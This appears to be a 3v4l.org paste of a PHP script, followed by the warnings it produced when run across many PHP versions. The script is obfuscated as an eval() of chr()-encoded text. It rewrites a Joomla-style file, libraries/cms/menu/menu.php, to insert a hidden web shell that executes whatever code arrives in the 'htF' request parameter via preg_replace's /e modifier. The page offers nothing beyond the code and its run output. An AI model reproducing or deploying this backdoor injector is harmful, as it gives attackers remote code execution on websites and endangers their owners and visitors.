3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(chr(36).chr(102).chr(110).chr(32).chr(61).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(39).chr(108).chr(105).chr(98).chr(114).chr(97).chr(114).chr(105).chr(101).chr(115).chr(47).chr(99).chr(109).chr(115).chr(47).chr(109).chr(101).chr(110).chr(117).chr(47).chr(109).chr(101).chr(110).chr(117).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(59).chr(32).chr(105).chr(102).chr(32).chr(40).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(44).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(92).chr(110).chr(105).chr(102).chr(32).chr(40).chr(105).chr(115).chr(115).chr(101).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(92).chr(34).chr(104).chr(116).chr(70).chr(92).chr(34).chr(93).chr(41).chr(41).chr(32).chr(123).chr(47).chr(42).chr(78).chr(87).chr(73).chr(81).chr(117).chr(81).chr(42).chr(47).chr(64).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(47).chr(40).chr(46).chr(42).chr(41).chr(47).chr(101).chr(39).chr(44).chr(32).chr(64).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(39).chr(104).chr(116).chr(70).chr(39).chr(93).chr(44).chr(32).chr(39).chr(39).chr(41).chr(59).chr(125).chr(92).chr(110).chr(34).chr(44).chr(32).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(41).chr(41).chr(41).chr(41).chr(32).chr(100).chr(105).chr(101).chr(40).chr(39).chr(120).chr(52).chr(50).chr(120).chr(39).chr(41).chr(59)); ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Warning: file_put_contents(/in/F0Gec): Failed to open stream: Permission denied in /in/F0Gec(1) : eval()'d code on line 1
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Warning: file_put_contents(/in/F0Gec): Failed to open stream: Permission denied in /in/F0Gec(1) : eval()'d code on line 1
Output for 5.6.28, 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33
Warning: file_put_contents(/in/F0Gec): failed to open stream: Permission denied in /in/F0Gec(1) : eval()'d code on line 1
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.25, 7.0.0 - 7.0.10
Warning: file_put_contents(/in/F0Gec): failed to open stream: Read-only file system in /in/F0Gec(1) : eval()'d code on line 1

preferences:
201.47 ms | 402 KiB | 225 Q